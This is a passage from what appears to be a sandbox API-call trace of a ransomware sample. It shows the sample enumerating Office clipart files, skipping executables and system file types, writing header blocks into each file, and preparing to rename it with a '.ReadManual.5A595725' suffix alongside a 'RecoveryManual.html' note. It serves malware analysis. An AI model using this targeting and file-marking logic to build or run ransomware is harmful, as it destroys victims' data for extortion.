(psz1="WMF", psz2="msi") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.180] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" [0271.180] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.ReadManual.5A595725" [0271.180] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.ReadManual.5A595725") returned 87 [0271.180] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39185109965) returned 1 [0271.183] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf")) returned 0x20 [0271.183] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.183] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=36264) returned 1 [0271.183] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8da8, lpName=0x0) returned 0x184 [0271.183] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.184] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.184] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.186] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.186] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8da8) returned 0x2f0000 [0271.187] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.187] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39185581164) returned 1 [0271.187] CloseHandle (hObject=0x184) returned 1 [0271.187] SetSecurityInfo () returned 0x57 [0271.187] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.187] CloseHandle (hObject=0x194) returned 1 [0271.187] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b853b00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b853b00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x140c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00555_.WMF", cAlternateFileName="")) returned 1 [0271.187] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00555_.WMF" | out: lpString1="PE00555_.WMF") returned="PE00555_.WMF" [0271.187] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.187] StrStrIW (lpFirst="PE00555_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.187] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.187] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.188] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.188] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" [0271.188] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.ReadManual.5A595725" [0271.188] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.ReadManual.5A595725") returned 87 [0271.188] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39185669242) returned 1 [0271.188] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf")) returned 0x20 [0271.188] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.188] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5132) returned 1 [0271.189] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x140c, lpName=0x0) returned 0x184 [0271.189] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.189] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.189] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.191] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.191] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x140c) returned 0x2f0000 [0271.191] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.191] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39186011562) returned 1 [0271.191] CloseHandle (hObject=0x184) returned 1 [0271.191] SetSecurityInfo () returned 0x57 [0271.192] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.192] CloseHandle (hObject=0x194) returned 1 [0271.192] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30066900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30066900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00559_.WMF", cAlternateFileName="")) returned 1 [0271.192] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00559_.WMF" | out: lpString1="PE00559_.WMF") returned="PE00559_.WMF" [0271.192] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.192] StrStrIW (lpFirst="PE00559_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.192] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.192] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.192] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" [0271.192] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.ReadManual.5A595725" [0271.192] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.ReadManual.5A595725") returned 87 [0271.192] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39186100787) returned 1 [0271.192] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf")) returned 0x20 [0271.192] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.193] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9904) returned 1 [0271.193] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26b0, lpName=0x0) returned 0x184 [0271.193] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.194] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.194] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.196] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.196] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26b0) returned 0x2f0000 [0271.196] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.196] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39186490727) returned 1 [0271.196] CloseHandle (hObject=0x184) returned 1 [0271.196] SetSecurityInfo () returned 0x57 [0271.196] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.196] CloseHandle (hObject=0x194) returned 1 [0271.196] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17bf3a00, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bf3a00, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00563_.WMF", cAlternateFileName="")) returned 1 [0271.196] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00563_.WMF" | out: lpString1="PE00563_.WMF") returned="PE00563_.WMF" [0271.196] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.197] StrStrIW (lpFirst="PE00563_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.197] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.197] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.197] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" [0271.197] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.ReadManual.5A595725" [0271.197] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.ReadManual.5A595725") returned 87 [0271.197] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39186582855) returned 1 [0271.197] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf")) returned 0x20 [0271.197] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.198] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22128) returned 1 [0271.198] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5670, lpName=0x0) returned 0x184 [0271.198] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.198] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.198] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.200] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.201] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5670) returned 0x2f0000 [0271.201] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.201] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39186971737) returned 1 [0271.201] CloseHandle (hObject=0x184) returned 1 [0271.201] SetSecurityInfo () returned 0x57 [0271.201] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.201] CloseHandle (hObject=0x194) returned 1 [0271.201] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00578_.WMF", cAlternateFileName="")) returned 1 [0271.201] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00578_.WMF" | out: lpString1="PE00578_.WMF") returned="PE00578_.WMF" [0271.201] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.201] StrStrIW (lpFirst="PE00578_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.201] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.201] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.201] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.201] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.201] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.202] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.202] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.202] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.202] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.202] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.202] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.202] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.202] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.202] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.202] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" [0271.202] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.ReadManual.5A595725" [0271.202] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.ReadManual.5A595725") returned 87 [0271.202] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39187060303) returned 1 [0271.202] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf")) returned 0x20 [0271.202] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.202] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6886) returned 1 [0271.202] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ae6, lpName=0x0) returned 0x184 [0271.203] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.203] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.203] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.205] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.205] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ae6) returned 0x2f0000 [0271.205] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.205] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39187401302) returned 1 [0271.205] CloseHandle (hObject=0x184) returned 1 [0271.205] SetSecurityInfo () returned 0x57 [0271.205] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.205] CloseHandle (hObject=0x194) returned 1 [0271.206] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896e9800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x896e9800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00608_.WMF", cAlternateFileName="")) returned 1 [0271.206] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00608_.WMF" | out: lpString1="PE00608_.WMF") returned="PE00608_.WMF" [0271.206] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.206] StrStrIW (lpFirst="PE00608_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.206] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.206] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.206] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" [0271.206] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.ReadManual.5A595725" [0271.206] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.ReadManual.5A595725") returned 87 